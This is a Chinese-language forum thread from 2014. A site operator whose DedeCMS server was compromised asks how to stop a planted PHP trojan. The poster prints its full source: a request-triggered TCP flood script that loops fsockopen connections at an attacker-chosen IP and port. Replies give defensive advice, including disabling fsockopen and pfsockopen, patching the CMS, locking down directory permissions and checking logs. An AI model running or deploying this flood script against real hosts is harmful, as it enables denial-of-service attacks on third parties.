V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
pc10201
V2EX  ›  Linux

中了php木马,怎么防范?

  •  
  •   pc10201 · 2014-01-20 16:44:11 +08:00 · 4159 次点击
    这是一个创建于 3958 天前的主题,其中的信息可能已经有所发展或是发生改变。
    我在iptables加了规则禁用了php木马对外发udp数据,但现在有木马发tcp数据包,然后服务器带宽就卡死了~

    php木马如下:
    <?php
    ini_set("display_errors", "Off");
    $packets = 0;
    $ip = $_REQUEST['ip'];
    $port = $_REQUEST['port'];
    set_time_limit(0);
    ignore_user_abort(FALSE);
    $exec_time = $_REQUEST['time'];
    $time = time();
    print "状态 : 正常运行中.....<br>";
    $max_time = $time+$exec_time;
    while(1){
    $packets++;
    if(time() > $max_time){
    break;
    }

    $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);
    }
    echo "================================================<br>";
    echo " <font color=blue>www.baidu.com<br>";
    echo " SYN Flood 模块<br>";
    echo " 作者:ybhacker<br>";
    echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
    echo "================================================<br><br>";
    echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
    echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
    echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
    echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
    ?>

    如何防范,在不禁用任何php函数的情况下?
    18 条回复    1970-01-01 08:00:00 +08:00
    shiny
        1
    shiny  
       2014-01-20 16:46:25 +08:00
    又要想防范木马又要想不禁用函数,那只能补上你破程序的漏洞。其实禁用 fsockopen、ignore_user_abort也没什么的吧。
    fucker
        2
    fucker  
       2014-01-20 16:46:27 +08:00
    好屌的flood attacker
    mahone3297
        3
    mahone3297  
       2014-01-20 16:51:02 +08:00
    这个怎么攻击了?没谈看懂。。。就while 1 了下,然后++packets,最后再fsockopen,其他好像没什么东西。。。
    Actrace
        4
    Actrace  
       2014-01-20 16:55:28 +08:00   ❤️ 1
    那就禁TCP呗~
    sarices
        5
    sarices  
       2014-01-20 17:18:44 +08:00
    检查一下自己的程序漏洞,分析一下日志看看漏洞在哪里?是不是多个网站公用主机?有没有限制PHP访问路径限定在网站根目录下面,如果没有限制可能是其他网站的漏洞导致的
    Kvm
        6
    Kvm  
       2014-01-20 17:36:58 +08:00
    在php.ini里面禁用下函数
    judasnow
        7
    judasnow  
       2014-01-20 18:36:11 +08:00
    如果是 用的 apache php_mod 就删除 php cgi 可执行文件就行了。
    judasnow
        8
    judasnow  
       2014-01-20 18:38:29 +08:00
    仔细看了下 我收回我说的话。。。。
    judasnow
        9
    judasnow  
       2014-01-20 18:43:50 +08:00
    我觉得
    1 可以在 apache(或其他web服务器)上过滤请求参数 ,因为似乎他是 通过 带$ip,$port这两个参数的远程请求 触发这个脚本的。
    2 可以删除这个脚本的可执行权限。

    不过我还是困惑于 这个文件是怎么跑到你的服务器上的?
    VYSE
        10
    VYSE  
       2014-01-20 20:00:27 +08:00
    建议你还是给项目文件顶起做DIFF比较吧,然后查LOG找漏洞,都传马上去了,封函数有毛用,把他惹火了一个命令全删了。
    pc10201
        11
    pc10201  
    OP
       2014-01-20 20:15:03 +08:00
    @sarices 公司的网站,用的dedecms
    shiny
        12
    shiny  
       2014-01-20 20:17:53 +08:00
    @pc10201 哈哈哈又见 dedecms。dede 的话你首先把补丁打上,然后把不需要的文件全部删除,然后针对不同的目录做权限设置,比如 data 目录就不能执行 php,include 目录禁止写入。
    基本就能保平安了。
    letitbesqzr
        13
    letitbesqzr  
       2014-01-20 20:20:41 +08:00
    dedecms...删后台吧,生成html传上去。
    konakona
        14
    konakona  
       2014-01-20 20:39:45 +08:00
    检测下类似的php命名文件,以及非法的jpg等图片格式的文件。
    加强服务器配置(php.ini)。

    一个专业的程序员运维做好后,基本可以不依赖硬件防火墙,最重要的是运维这关卡的好不好。
    thinkxen
        15
    thinkxen  
       2014-01-20 20:55:19 +08:00
    禁用掉fsockopen就不会发包了,不过木马者可能还会用pfsockopen来继续发包,你可以继续禁用pfsockopen。
    但是这样虽然无法发包,但是会大量占用CPU,造成系统负载升高。
    唯一彻底的方法就是别用DEDECMS,珍爱生命,远离织梦。
    xiaobu
        16
    xiaobu  
       2014-01-21 10:43:31 +08:00
    @shiny 禁用 fsockopen,如果是论坛有个邮件认证注册的功能就失效了,导致无法用户注册
    pc10201
        17
    pc10201  
    OP
       2014-01-21 10:52:02 +08:00
    @VYSE 谢谢,我通过nginx写了一些rewrite规则基本可以禁用一些简单的木马了~
    wezzard
        18
    wezzard  
       2014-01-22 08:50:53 +08:00
    楼主可以考虑起诉木马作者,估计传木马的人也是直接复制粘贴的别人的代码。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5001 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 03:50 · PVG 11:50 · LAX 19:50 · JFK 22:50
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.